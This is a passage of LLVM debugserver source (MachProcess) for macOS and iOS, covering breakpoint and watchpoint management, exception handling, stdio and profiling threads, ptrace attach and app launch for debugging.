DNBLogThreadedIf(LOG_BREAKPOINTS | LOG_VERBOSE,
"MachProcess::DisableBreakpoint ( addr = 0x%8.8llx, "
"remove = %d ) is not enabled",
(uint64_t)addr, remove);
// Set verify to true and so we can check if the original opcode is
// there
verify = true;
}
if (verify) {
uint8_t verify_opcode[break_op_size];
// Verify that our original opcode made it back to the inferior
if (m_task.ReadMemory(addr, break_op_size, verify_opcode) ==
break_op_size) {
// compare the memory we just read with the original opcode
if (memcmp(bp->SavedOpcodeBytes(), verify_opcode, break_op_size) ==
0) {
// SUCCESS
bp->SetEnabled(false);
// Let the thread list know that a breakpoint has been modified
if (remove && bp->Release() == 0) {
m_thread_list.NotifyBreakpointChanged(bp);
m_breakpoints.Remove(addr);
}
DNBLogThreadedIf(LOG_BREAKPOINTS,
"MachProcess::DisableBreakpoint ( addr = "
"0x%8.8llx, remove = %d ) => success",
(uint64_t)addr, remove);
return true;
} else {
if (break_op_found)
DNBLogError("MachProcess::DisableBreakpoint ( addr = "
"0x%8.8llx, remove = %d ) : failed to restore "
"original opcode",
(uint64_t)addr, remove);
else
DNBLogError("MachProcess::DisableBreakpoint ( addr = "
"0x%8.8llx, remove = %d ) : opcode changed",
(uint64_t)addr, remove);
}
} else {
DNBLogWarning("MachProcess::DisableBreakpoint: unable to disable "
"breakpoint 0x%8.8llx",
(uint64_t)addr);
}
}
} else {
DNBLogWarning("MachProcess::DisableBreakpoint: unable to read memory "
"at 0x%8.8llx",
(uint64_t)addr);
}
}
} else {
DNBLogError("MachProcess::DisableBreakpoint ( addr = 0x%8.8llx, remove = "
"%d ) invalid breakpoint address",
(uint64_t)addr, remove);
}
return false;
}
bool MachProcess::DisableWatchpoint(nub_addr_t addr, bool remove) {
DNBLogThreadedIf(LOG_WATCHPOINTS,
"MachProcess::%s(addr = 0x%8.8llx, remove = %d)",
__FUNCTION__, (uint64_t)addr, remove);
DNBBreakpoint *wp = m_watchpoints.FindByAddress(addr);
if (wp) {
// If we have multiple references to a watchpoint, removing the watchpoint
// shouldn't clear it
if (remove && wp->Release() > 0)
return true;
nub_addr_t addr = wp->Address();
DNBLogThreadedIf(
LOG_WATCHPOINTS,
"MachProcess::DisableWatchpoint ( addr = 0x%8.8llx, remove = %d )",
(uint64_t)addr, remove);
if (wp->IsHardware()) {
bool hw_disable_result = m_thread_list.DisableHardwareWatchpoint(wp);
if (hw_disable_result) {
wp->SetEnabled(false);
if (remove)
m_watchpoints.Remove(addr);
DNBLogThreadedIf(LOG_WATCHPOINTS, "MachProcess::Disablewatchpoint ( "
"addr = 0x%8.8llx, remove = %d ) "
"(hardware) => success",
(uint64_t)addr, remove);
return true;
}
}
// TODO: clear software watchpoints if we implement them
} else {
DNBLogError("MachProcess::DisableWatchpoint ( addr = 0x%8.8llx, remove = "
"%d ) invalid watchpoint ID",
(uint64_t)addr, remove);
}
return false;
}
uint32_t MachProcess::GetNumSupportedHardwareWatchpoints() const {
return m_thread_list.NumSupportedHardwareWatchpoints();
}
bool MachProcess::EnableBreakpoint(nub_addr_t addr) {
DNBLogThreadedIf(LOG_BREAKPOINTS,
"MachProcess::EnableBreakpoint ( addr = 0x%8.8llx )",
(uint64_t)addr);
DNBBreakpoint *bp = m_breakpoints.FindByAddress(addr);
if (bp) {
if (bp->IsEnabled()) {
DNBLogWarning("MachProcess::EnableBreakpoint ( addr = 0x%8.8llx ): "
"breakpoint already enabled.",
(uint64_t)addr);
return true;
} else {
if (bp->HardwarePreferred()) {
bp->SetHardwareIndex(m_thread_list.EnableHardwareBreakpoint(bp));
if (bp->IsHardware()) {
bp->SetEnabled(true);
return true;
}
}
const nub_size_t break_op_size = bp->ByteSize();
assert(break_op_size != 0);
const uint8_t *const break_op =
DNBArchProtocol::GetBreakpointOpcode(break_op_size);
if (break_op_size > 0) {
// Save the original opcode by reading it
if (m_task.ReadMemory(addr, break_op_size, bp->SavedOpcodeBytes()) ==
break_op_size) {
// Write a software breakpoint in place of the original opcode
if (m_task.WriteMemory(addr, break_op_size, break_op) ==
break_op_size) {
uint8_t verify_break_op[4];
if (m_task.ReadMemory(addr, break_op_size, verify_break_op) ==
break_op_size) {
if (memcmp(break_op, verify_break_op, break_op_size) == 0) {
bp->SetEnabled(true);
// Let the thread list know that a breakpoint has been modified
m_thread_list.NotifyBreakpointChanged(bp);
DNBLogThreadedIf(LOG_BREAKPOINTS, "MachProcess::"
"EnableBreakpoint ( addr = "
"0x%8.8llx ) : SUCCESS.",
(uint64_t)addr);
return true;
} else {
DNBLogError("MachProcess::EnableBreakpoint ( addr = 0x%8.8llx "
"): breakpoint opcode verification failed.",
(uint64_t)addr);
}
} else {
DNBLogError("MachProcess::EnableBreakpoint ( addr = 0x%8.8llx ): "
"unable to read memory to verify breakpoint opcode.",
(uint64_t)addr);
}
} else {
DNBLogError("MachProcess::EnableBreakpoint ( addr = 0x%8.8llx ): "
"unable to write breakpoint opcode to memory.",
(uint64_t)addr);
}
} else {
DNBLogError("MachProcess::EnableBreakpoint ( addr = 0x%8.8llx ): "
"unable to read memory at breakpoint address.",
(uint64_t)addr);
}
} else {
DNBLogError("MachProcess::EnableBreakpoint ( addr = 0x%8.8llx ) no "
"software breakpoint opcode for current architecture.",
(uint64_t)addr);
}
}
}
return false;
}
bool MachProcess::EnableWatchpoint(nub_addr_t addr) {
DNBLogThreadedIf(LOG_WATCHPOINTS,
"MachProcess::EnableWatchpoint(addr = 0x%8.8llx)",
(uint64_t)addr);
DNBBreakpoint *wp = m_watchpoints.FindByAddress(addr);
if (wp) {
nub_addr_t addr = wp->Address();
if (wp->IsEnabled()) {
DNBLogWarning("MachProcess::EnableWatchpoint(addr = 0x%8.8llx): "
"watchpoint already enabled.",
(uint64_t)addr);
return true;
} else {
// Currently only try and set hardware watchpoints.
wp->SetHardwareIndex(m_thread_list.EnableHardwareWatchpoint(wp));
if (wp->IsHardware()) {
wp->SetEnabled(true);
return true;
}
// TODO: Add software watchpoints by doing page protection tricks.
}
}
return false;
}
// Called by the exception thread when an exception has been received from
// our process. The exception message is completely filled and the exception
// data has already been copied.
void MachProcess::ExceptionMessageReceived(
const MachException::Message &exceptionMessage) {
PTHREAD_MUTEX_LOCKER(locker, m_exception_messages_mutex);
if (m_exception_messages.empty())
m_task.Suspend();
DNBLogThreadedIf(LOG_EXCEPTIONS, "MachProcess::ExceptionMessageReceived ( )");
// Use a locker to automatically unlock our mutex in case of exceptions
// Add the exception to our internal exception stack
m_exception_messages.push_back(exceptionMessage);
}
task_t MachProcess::ExceptionMessageBundleComplete() {
// We have a complete bundle of exceptions for our child process.
PTHREAD_MUTEX_LOCKER(locker, m_exception_messages_mutex);
DNBLogThreadedIf(LOG_EXCEPTIONS, "%s: %llu exception messages.",
__PRETTY_FUNCTION__, (uint64_t)m_exception_messages.size());
bool auto_resume = false;
if (!m_exception_messages.empty()) {
m_did_exec = false;
// First check for any SIGTRAP and make sure we didn't exec
const task_t task = m_task.TaskPort();
size_t i;
if (m_pid != 0) {
bool received_interrupt = false;
uint32_t num_task_exceptions = 0;
for (i = 0; i < m_exception_messages.size(); ++i) {
if (m_exception_messages[i].state.task_port == task) {
++num_task_exceptions;
const int signo = m_exception_messages[i].state.SoftSignal();
if (signo == SIGTRAP) {
// SIGTRAP could mean that we exec'ed. We need to check the
// dyld all_image_infos.infoArray to see if it is NULL and if
// so, say that we exec'ed.
const nub_addr_t aii_addr = GetDYLDAllImageInfosAddress();
if (aii_addr != INVALID_NUB_ADDRESS) {
const nub_addr_t info_array_count_addr = aii_addr + 4;
uint32_t info_array_count = 0;
if (m_task.ReadMemory(info_array_count_addr, 4,
&info_array_count) == 4) {
if (info_array_count == 0) {
m_did_exec = true;
// Force the task port to update itself in case the task port
// changed after exec
DNBError err;
const task_t old_task = m_task.TaskPort();
const task_t new_task =
m_task.TaskPortForProcessID(err, true);
if (old_task != new_task)
DNBLogThreadedIf(
LOG_PROCESS,
"exec: task changed from 0x%4.4x to 0x%4.4x", old_task,
new_task);
}
} else {
DNBLog("error: failed to read all_image_infos.infoArrayCount "
"from 0x%8.8llx",
(uint64_t)info_array_count_addr);
}
}
break;
} else if (m_sent_interrupt_signo != 0 &&
signo == m_sent_interrupt_signo) {
received_interrupt = true;
}
}
}
if (m_did_exec) {
cpu_type_t process_cpu_type =
MachProcess::GetCPUTypeForLocalProcess(m_pid);
if (m_cpu_type != process_cpu_type) {
DNBLog("arch changed from 0x%8.8x to 0x%8.8x", m_cpu_type,
process_cpu_type);
m_cpu_type = process_cpu_type;
DNBArchProtocol::SetArchitecture(process_cpu_type);
}
m_thread_list.Clear();
m_activities.Clear();
m_breakpoints.DisableAll();
m_task.ClearAllocations();
}
if (m_sent_interrupt_signo != 0) {
if (received_interrupt) {
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::ExceptionMessageBundleComplete(): "
"process successfully interrupted with signal %i",
m_sent_interrupt_signo);
// Mark that we received the interrupt signal
m_sent_interrupt_signo = 0;
// Not check if we had a case where:
// 1 - We called MachProcess::Interrupt() but we stopped for another
// reason
// 2 - We called MachProcess::Resume() (but still haven't gotten the
// interrupt signal)
// 3 - We are now incorrectly stopped because we are handling the
// interrupt signal we missed
// 4 - We might need to resume if we stopped only with the interrupt
// signal that we never handled
if (m_auto_resume_signo != 0) {
// Only auto_resume if we stopped with _only_ the interrupt signal
if (num_task_exceptions == 1) {
auto_resume = true;
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::"
"ExceptionMessageBundleComplete(): "
"auto resuming due to unhandled "
"interrupt signal %i",
m_auto_resume_signo);
}
m_auto_resume_signo = 0;
}
} else {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::"
"ExceptionMessageBundleComplete(): "
"didn't get signal %i after "
"MachProcess::Interrupt()",
m_sent_interrupt_signo);
}
}
}
// Let all threads recover from stopping and do any clean up based
// on the previous thread state (if any).
m_thread_list.ProcessDidStop(this);
m_activities.Clear();
// Let each thread know of any exceptions
for (i = 0; i < m_exception_messages.size(); ++i) {
// Let the thread list figure use the MachProcess to forward all
// exceptions
// on down to each thread.
if (m_exception_messages[i].state.task_port == task)
m_thread_list.NotifyException(m_exception_messages[i].state);
if (DNBLogCheckLogBit(LOG_EXCEPTIONS))
m_exception_messages[i].Dump();
}
if (DNBLogCheckLogBit(LOG_THREAD))
m_thread_list.Dump();
bool step_more = false;
if (m_thread_list.ShouldStop(step_more) && !auto_resume) {
// Wait for the eEventProcessRunningStateChanged event to be reset
// before changing state to stopped to avoid race condition with
// very fast start/stops
struct timespec timeout;
// DNBTimer::OffsetTimeOfDay(&timeout, 0, 250 * 1000); // Wait for 250
// ms
DNBTimer::OffsetTimeOfDay(&timeout, 1, 0); // Wait for 250 ms
m_events.WaitForEventsToReset(eEventProcessRunningStateChanged, &timeout);
SetState(eStateStopped);
} else {
// Resume without checking our current state.
PrivateResume();
}
} else {
DNBLogThreadedIf(
LOG_EXCEPTIONS, "%s empty exception messages bundle (%llu exceptions).",
__PRETTY_FUNCTION__, (uint64_t)m_exception_messages.size());
}
return m_task.TaskPort();
}
nub_size_t
MachProcess::CopyImageInfos(struct DNBExecutableImageInfo **image_infos,
bool only_changed) {
if (m_image_infos_callback != NULL)
return m_image_infos_callback(ProcessID(), image_infos, only_changed,
m_image_infos_baton);
return 0;
}
void MachProcess::SharedLibrariesUpdated() {
uint32_t event_bits = eEventSharedLibsStateChange;
// Set the shared library event bit to let clients know of shared library
// changes
m_events.SetEvents(event_bits);
// Wait for the event bit to reset if a reset ACK is requested
m_events.WaitForResetAck(event_bits);
}
void MachProcess::SetExitInfo(const char *info) {
if (info && info[0]) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s(\"%s\")", __FUNCTION__,
info);
m_exit_info.assign(info);
} else {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s(NULL)", __FUNCTION__);
m_exit_info.clear();
}
}
void MachProcess::AppendSTDOUT(char *s, size_t len) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s (<%llu> %s) ...", __FUNCTION__,
(uint64_t)len, s);
PTHREAD_MUTEX_LOCKER(locker, m_stdio_mutex);
m_stdout_data.append(s, len);
m_events.SetEvents(eEventStdioAvailable);
// Wait for the event bit to reset if a reset ACK is requested
m_events.WaitForResetAck(eEventStdioAvailable);
}
size_t MachProcess::GetAvailableSTDOUT(char *buf, size_t buf_size) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s (&%p[%llu]) ...", __FUNCTION__,
static_cast<void *>(buf), (uint64_t)buf_size);
PTHREAD_MUTEX_LOCKER(locker, m_stdio_mutex);
size_t bytes_available = m_stdout_data.size();
if (bytes_available > 0) {
if (bytes_available > buf_size) {
memcpy(buf, m_stdout_data.data(), buf_size);
m_stdout_data.erase(0, buf_size);
bytes_available = buf_size;
} else {
memcpy(buf, m_stdout_data.data(), bytes_available);
m_stdout_data.clear();
}
}
return bytes_available;
}
nub_addr_t MachProcess::GetDYLDAllImageInfosAddress() {
DNBError err;
return m_task.GetDYLDAllImageInfosAddress(err);
}
/// From dyld SPI header dyld_process_info.h
struct dyld_process_state_info {
uint64_t timestamp;
uint32_t imageCount;
uint32_t initialImageCount;
// one of dyld_process_state_* values
uint8_t dyldState;
};
enum {
dyld_process_state_not_started = 0x00,
dyld_process_state_dyld_initialized = 0x10,
dyld_process_state_terminated_before_inits = 0x20,
dyld_process_state_libSystem_initialized = 0x30,
dyld_process_state_running_initializers = 0x40,
dyld_process_state_program_running = 0x50,
dyld_process_state_dyld_terminated = 0x60
};
JSONGenerator::ObjectSP MachProcess::GetDyldProcessState() {
JSONGenerator::DictionarySP reply_sp(new JSONGenerator::Dictionary());
if (!m_dyld_process_info_get_state) {
reply_sp->AddStringItem("error",
"_dyld_process_info_get_state unavailable");
return reply_sp;
}
if (!m_dyld_process_info_create) {
reply_sp->AddStringItem("error", "_dyld_process_info_create unavailable");
return reply_sp;
}
kern_return_t kern_ret;
dyld_process_info info =
m_dyld_process_info_create(m_task.TaskPort(), 0, &kern_ret);
if (!info || kern_ret != KERN_SUCCESS) {
reply_sp->AddStringItem(
"error", "Unable to create dyld_process_info for inferior task");
return reply_sp;
}
struct dyld_process_state_info state_info;
m_dyld_process_info_get_state(info, &state_info);
reply_sp->AddIntegerItem("process_state_value", state_info.dyldState);
switch (state_info.dyldState) {
case dyld_process_state_not_started:
reply_sp->AddStringItem("process_state string",
"dyld_process_state_not_started");
break;
case dyld_process_state_dyld_initialized:
reply_sp->AddStringItem("process_state string",
"dyld_process_state_dyld_initialized");
break;
case dyld_process_state_terminated_before_inits:
reply_sp->AddStringItem("process_state string",
"dyld_process_state_terminated_before_inits");
break;
case dyld_process_state_libSystem_initialized:
reply_sp->AddStringItem("process_state string",
"dyld_process_state_libSystem_initialized");
break;
case dyld_process_state_running_initializers:
reply_sp->AddStringItem("process_state string",
"dyld_process_state_running_initializers");
break;
case dyld_process_state_program_running:
reply_sp->AddStringItem("process_state string",
"dyld_process_state_program_running");
break;
case dyld_process_state_dyld_terminated:
reply_sp->AddStringItem("process_state string",
"dyld_process_state_dyld_terminated");
break;
};
m_dyld_process_info_release(info);
return reply_sp;
}
size_t MachProcess::GetAvailableSTDERR(char *buf, size_t buf_size) { return 0; }
void *MachProcess::STDIOThread(void *arg) {
MachProcess *proc = (MachProcess *)arg;
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::%s ( arg = %p ) thread starting...",
__FUNCTION__, arg);
#if defined(__APPLE__)
pthread_setname_np("stdio monitoring thread");
#endif
// We start use a base and more options so we can control if we
// are currently using a timeout on the mach_msg. We do this to get a
// bunch of related exceptions on our exception port so we can process
// then together. When we have multiple threads, we can get an exception
// per thread and they will come in consecutively. The main thread loop
// will start by calling mach_msg to without having the MACH_RCV_TIMEOUT
// flag set in the options, so we will wait forever for an exception on
// our exception port. After we get one exception, we then will use the
// MACH_RCV_TIMEOUT option with a zero timeout to grab all other current
// exceptions for our process. After we have received the last pending
// exception, we will get a timeout which enables us to then notify
// our main thread that we have an exception bundle available. We then wait
// for the main thread to tell this exception thread to start trying to get
// exceptions messages again and we start again with a mach_msg read with
// infinite timeout.
DNBError err;
int stdout_fd = proc->GetStdoutFileDescriptor();
int stderr_fd = proc->GetStderrFileDescriptor();
if (stdout_fd == stderr_fd)
stderr_fd = -1;
while (stdout_fd >= 0 || stderr_fd >= 0) {
::pthread_testcancel();
fd_set read_fds;
FD_ZERO(&read_fds);
if (stdout_fd >= 0)
FD_SET(stdout_fd, &read_fds);
if (stderr_fd >= 0)
FD_SET(stderr_fd, &read_fds);
int nfds = std::max<int>(stdout_fd, stderr_fd) + 1;
int num_set_fds = select(nfds, &read_fds, NULL, NULL, NULL);
DNBLogThreadedIf(LOG_PROCESS,
"select (nfds, &read_fds, NULL, NULL, NULL) => %d",
num_set_fds);
if (num_set_fds < 0) {
int select_errno = errno;
if (DNBLogCheckLogBit(LOG_PROCESS)) {
err.SetError(select_errno, DNBError::POSIX);
err.LogThreadedIfError(
"select (nfds, &read_fds, NULL, NULL, NULL) => %d", num_set_fds);
}
switch (select_errno) {
case EAGAIN: // The kernel was (perhaps temporarily) unable to allocate
// the requested number of file descriptors, or we have
// non-blocking IO
break;
case EBADF: // One of the descriptor sets specified an invalid descriptor.
return NULL;
break;
case EINTR: // A signal was delivered before the time limit expired and
// before any of the selected events occurred.
case EINVAL: // The specified time limit is invalid. One of its components
// is negative or too large.
default: // Other unknown error
break;
}
} else if (num_set_fds == 0) {
} else {
char s[1024];
s[sizeof(s) - 1] = '\0'; // Ensure we have NULL termination
ssize_t bytes_read = 0;
if (stdout_fd >= 0 && FD_ISSET(stdout_fd, &read_fds)) {
do {
bytes_read = ::read(stdout_fd, s, sizeof(s) - 1);
if (bytes_read < 0) {
int read_errno = errno;
DNBLogThreadedIf(LOG_PROCESS,
"read (stdout_fd, ) => %zd errno: %d (%s)",
bytes_read, read_errno, strerror(read_errno));
} else if (bytes_read == 0) {
// EOF...
DNBLogThreadedIf(
LOG_PROCESS,
"read (stdout_fd, ) => %zd (reached EOF for child STDOUT)",
bytes_read);
stdout_fd = -1;
} else if (bytes_read > 0) {
proc->AppendSTDOUT(s, bytes_read);
}
} while (bytes_read > 0);
}
if (stderr_fd >= 0 && FD_ISSET(stderr_fd, &read_fds)) {
do {
bytes_read = ::read(stderr_fd, s, sizeof(s) - 1);
if (bytes_read < 0) {
int read_errno = errno;
DNBLogThreadedIf(LOG_PROCESS,
"read (stderr_fd, ) => %zd errno: %d (%s)",
bytes_read, read_errno, strerror(read_errno));
} else if (bytes_read == 0) {
// EOF...
DNBLogThreadedIf(
LOG_PROCESS,
"read (stderr_fd, ) => %zd (reached EOF for child STDERR)",
bytes_read);
stderr_fd = -1;
} else if (bytes_read > 0) {
proc->AppendSTDOUT(s, bytes_read);
}
} while (bytes_read > 0);
}
}
}
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s (%p): thread exiting...",
__FUNCTION__, arg);
return NULL;
}
void MachProcess::SignalAsyncProfileData(const char *info) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s (%s) ...", __FUNCTION__, info);
PTHREAD_MUTEX_LOCKER(locker, m_profile_data_mutex);
m_profile_data.push_back(info);
m_events.SetEvents(eEventProfileDataAvailable);
// Wait for the event bit to reset if a reset ACK is requested
m_events.WaitForResetAck(eEventProfileDataAvailable);
}
size_t MachProcess::GetAsyncProfileData(char *buf, size_t buf_size) {
DNBLogThreadedIf(LOG_PROCESS, "MachProcess::%s (&%p[%llu]) ...", __FUNCTION__,
static_cast<void *>(buf), (uint64_t)buf_size);
PTHREAD_MUTEX_LOCKER(locker, m_profile_data_mutex);
if (m_profile_data.empty())
return 0;
size_t bytes_available = m_profile_data.front().size();
if (bytes_available > 0) {
if (bytes_available > buf_size) {
memcpy(buf, m_profile_data.front().data(), buf_size);
m_profile_data.front().erase(0, buf_size);
bytes_available = buf_size;
} else {
memcpy(buf, m_profile_data.front().data(), bytes_available);
m_profile_data.erase(m_profile_data.begin());
}
}
return bytes_available;
}
void *MachProcess::ProfileThread(void *arg) {
MachProcess *proc = (MachProcess *)arg;
DNBLogThreadedIf(LOG_PROCESS,
"MachProcess::%s ( arg = %p ) thread starting...",
__FUNCTION__, arg);
#if defined(__APPLE__)
pthread_setname_np("performance profiling thread");
#endif
while (proc->IsProfilingEnabled()) {
nub_state_t state = proc->GetState();
if (state == eStateRunning) {
std::string data =
proc->Task().GetProfileData(proc->GetProfileScanType());
if (!data.empty()) {
proc->SignalAsyncProfileData(data.c_str());
}
} else if ((state == eStateUnloaded) || (state == eStateDetached) ||
(state == eStateUnloaded)) {
// Done. Get out of this thread.
break;
}
timespec ts;
{
using namespace std::chrono;
std::chrono::microseconds dur(proc->ProfileInterval());
const auto dur_secs = duration_cast<seconds>(dur);
const auto dur_usecs = dur % std::chrono::seconds(1);
DNBTimer::OffsetTimeOfDay(&ts, dur_secs.count(),
dur_usecs.count());
}
uint32_t bits_set =
proc->m_profile_events.WaitForSetEvents(eMachProcessProfileCancel, &ts);
// If we got bits back, we were told to exit. Do so.
if (bits_set & eMachProcessProfileCancel)
break;
}
return NULL;
}
pid_t MachProcess::AttachForDebug(
pid_t pid,
const RNBContext::IgnoredExceptions &ignored_exceptions,
char *err_str,
size_t err_len) {
// Clear out and clean up from any current state
Clear();
if (pid != 0) {
DNBError err;
// Make sure the process exists...
if (::getpgid(pid) < 0) {
err.SetErrorToErrno();
const char *err_cstr = err.AsString();
::snprintf(err_str, err_len, "%s",
err_cstr ? err_cstr : "No such process");
DNBLogError ("MachProcess::AttachForDebug pid %d does not exist", pid);
return INVALID_NUB_PROCESS;
}
SetState(eStateAttaching);
m_pid = pid;
if (!m_task.StartExceptionThread(ignored_exceptions, err)) {
const char *err_cstr = err.AsString();
::snprintf(err_str, err_len, "%s",
err_cstr ? err_cstr : "unable to start the exception thread");
DNBLogThreadedIf(LOG_PROCESS, "error: failed to attach to pid %d", pid);
DNBLogError(
"[LaunchAttach] END (%d) MachProcess::AttachForDebug failed to start "
"exception thread attaching to pid %i: %s",
getpid(), pid, err_str);
m_pid = INVALID_NUB_PROCESS;
return INVALID_NUB_PROCESS;
}
DNBLog("[LaunchAttach] (%d) About to ptrace(PT_ATTACHEXC, %d)...", getpid(),
pid);
errno = 0;
int ptrace_result = ::ptrace(PT_ATTACHEXC, pid, 0, 0);
int ptrace_errno = errno;
DNBLog("[LaunchAttach] (%d) Completed ptrace(PT_ATTACHEXC, %d) == %d",
getpid(), pid, ptrace_result);
if (ptrace_result != 0) {
err.SetError(ptrace_errno);
DNBLogError("MachProcess::AttachForDebug failed to ptrace(PT_ATTACHEXC) "
"pid %i: %s",
pid, err.AsString());
} else {
err.Clear();
}
if (err.Success()) {
m_flags |= eMachProcessFlagsAttached;
// Sleep a bit to let the exception get received and set our process
// status
// to stopped.
::usleep(250000);
DNBLog("[LaunchAttach] (%d) Done napping after ptrace(PT_ATTACHEXC)'ing",
getpid());
DNBLogThreadedIf(LOG_PROCESS, "successfully attached to pid %d", pid);
return m_pid;
} else {
::snprintf(err_str, err_len, "%s", err.AsString());
DNBLogError(
"[LaunchAttach] (%d) MachProcess::AttachForDebug error: failed to "
"attach to pid %d",
getpid(), pid);
struct kinfo_proc kinfo;
int mib[] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
size_t len = sizeof(struct kinfo_proc);
if (sysctl(mib, sizeof(mib) / sizeof(mib[0]), &kinfo, &len, NULL, 0) == 0 && len > 0) {
if (kinfo.kp_proc.p_flag & P_TRACED) {
::snprintf(err_str, err_len, "%s - process %d is already being debugged", err.AsString(), pid);
DNBLogError(
"[LaunchAttach] (%d) MachProcess::AttachForDebug pid %d is "
"already being debugged",
getpid(), pid);
}
}
}
}
return INVALID_NUB_PROCESS;
}
Genealogy::ThreadActivitySP
MachProcess::GetGenealogyInfoForThread(nub_thread_t tid, bool &timed_out) {
return m_activities.GetGenealogyInfoForThread(m_pid, tid, m_thread_list,
m_task.TaskPort(), timed_out);
}
Genealogy::ProcessExecutableInfoSP
MachProcess::GetGenealogyImageInfo(size_t idx) {
return m_activities.GetProcessExecutableInfosAtIndex(idx);
}
bool MachProcess::GetOSVersionNumbers(uint64_t *major, uint64_t *minor,
uint64_t *patch) {
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSOperatingSystemVersion vers =
[[NSProcessInfo processInfo] operatingSystemVersion];
if (major)
*major = vers.majorVersion;
if (minor)
*minor = vers.minorVersion;
if (patch)
*patch = vers.patchVersion;
[pool drain];
return true;
}
std::string MachProcess::GetMacCatalystVersionString() {
@autoreleasepool {
NSDictionary *version_info =
[NSDictionary dictionaryWithContentsOfFile:
@"/System/Library/CoreServices/SystemVersion.plist"];
NSString *version_value = [version_info objectForKey: @"iOSSupportVersion"];
if (const char *version_str = [version_value UTF8String])
return version_str;
}
return {};
}
#if defined(WITH_SPRINGBOARD) || defined(WITH_BKS) || defined(WITH_FBS)
/// Get the app bundle from the given path. Returns the empty string if the
/// path doesn't appear to be an app bundle.
static std::string GetAppBundle(std::string path) {
auto pos = path.rfind(".app");
// Path doesn't contain `.app`.
if (pos == std::string::npos)
return {};
// Path has `.app` extension.
if (pos == path.size() - 4)
return path.substr(0, pos + 4);
// Look for `.app` before a path separator.
do {
if (path[pos + 4] == '/')
return path.substr(0, pos + 4);
path = path.substr(0, pos);
pos = path.rfind(".app");
} while (pos != std::string::npos);
return {};
}
#endif
// Do the process specific setup for attach. If this returns NULL, then there's
// no
// platform specific stuff to be done to wait for the attach. If you get
// non-null,
// pass that token to the CheckForProcess method, and then to
// CleanupAfterAttach.
// Call PrepareForAttach before attaching to a process that has not yet
// launched
// This returns a token that can be passed to CheckForProcess, and to
// CleanupAfterAttach.
// You should call CleanupAfterAttach to free the token, and do whatever other
// cleanup seems good.
const void *MachProcess::PrepareForAttach(const char *path,
nub_launch_flavor_t launch_flavor,
bool waitfor, DNBError &attach_err) {
#if defined(WITH_SPRINGBOARD) || defined(WITH_BKS) || defined(WITH_FBS)
// Tell SpringBoard to halt the next launch of this application on startup.
if (!waitfor)
return NULL;
std::string app_bundle_path = GetAppBundle(path);
if (app_bundle_path.empty()) {
DNBLogThreadedIf(
LOG_PROCESS,
"MachProcess::PrepareForAttach(): path '%s' doesn't contain .app, "
"we can't tell springboard to wait for launch...",
path);
return NULL;
}
#if defined(WITH_FBS)
if (launch_flavor == eLaunchFlavorDefault)
launch_flavor = eLaunchFlavorFBS;
if (launch_flavor != eLaunchFlavorFBS)
return NULL;
#elif defined(WITH_BKS)
if (launch_flavor == eLaunchFlavorDefault)
launch_flavor = eLaunchFlavorBKS;
if (launch_flavor != eLaunchFlavorBKS)
return NULL;
#elif defined(WITH_SPRINGBOARD)
if (launch_flavor == eLaunchFlavorDefault)
launch_flavor = eLaunchFlavorSpringBoard;
if (launch_flavor != eLaunchFlavorSpringBoard)
return NULL;
#endif
CFStringRef bundleIDCFStr =
CopyBundleIDForPath(app_bundle_path.c_str(), attach_err);
std::string bundleIDStr;
CFString::UTF8(bundleIDCFStr, bundleIDStr);
DNBLogThreadedIf(LOG_PROCESS,
"CopyBundleIDForPath (%s, err_str) returned @\"%s\"",
app_bundle_path.c_str(), bundleIDStr.c_str());
if (bundleIDCFStr == NULL) {
return NULL;
}
#if defined(WITH_FBS)
if (launch_flavor == eLaunchFlavorFBS) {
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSString *stdio_path = nil;
NSFileManager *file_manager = [NSFileManager defaultManager];
const char *null_path = "/dev/null";
stdio_path =
[file_manager stringWithFileSystemRepresentation:null_path
length:strlen(null_path)];
NSMutableDictionary *debug_options = [NSMutableDictionary dictionary];
NSMutableDictionary *options = [NSMutableDictionary dictionary];
DNBLogThreadedIf(LOG_PROCESS, "Calling BKSSystemService openApplication: "
"@\"%s\",options include stdio path: \"%s\", "
"BKSDebugOptionKeyDebugOnNextLaunch & "
"BKSDebugOptionKeyWaitForDebugger )",
bundleIDStr.c_str(), null_path);
[debug_options setObject:stdio_path
forKey:FBSDebugOptionKeyStandardOutPath];
[debug_options setObject:stdio_path
forKey:FBSDebugOptionKeyStandardErrorPath];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:FBSDebugOptionKeyWaitForDebugger];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:FBSDebugOptionKeyDebugOnNextLaunch];
[options setObject:debug_options
forKey:FBSOpenApplicationOptionKeyDebuggingOptions];
FBSSystemService *system_service = [[FBSSystemService alloc] init];
mach_port_t client_port = [system_service createClientPort];
__block dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
__block FBSOpenApplicationErrorCode attach_error_code =
FBSOpenApplicationErrorCodeNone;
NSString *bundleIDNSStr = (NSString *)bundleIDCFStr;
DNBLog("[LaunchAttach] START (%d) requesting FBS launch of app with bundle "
"ID '%s'",
getpid(), bundleIDStr.c_str());
[system_service openApplication:bundleIDNSStr
options:options
clientPort:client_port
withResult:^(NSError *error) {
// The system service will cleanup the client port we
// created for us.
if (error)
attach_error_code =
(FBSOpenApplicationErrorCode)[error code];
[system_service release];
dispatch_semaphore_signal(semaphore);
}];
const uint32_t timeout_secs = 9;
dispatch_time_t timeout =
dispatch_time(DISPATCH_TIME_NOW, timeout_secs * NSEC_PER_SEC);
long success = dispatch_semaphore_wait(semaphore, timeout) == 0;
if (!success) {
DNBLogError("timed out trying to launch %s.", bundleIDStr.c_str());
attach_err.SetErrorString(
"debugserver timed out waiting for openApplication to complete.");
attach_err.SetError(OPEN_APPLICATION_TIMEOUT_ERROR, DNBError::Generic);
} else if (attach_error_code != FBSOpenApplicationErrorCodeNone) {
std::string empty_str;
SetFBSError(attach_error_code, empty_str, attach_err);
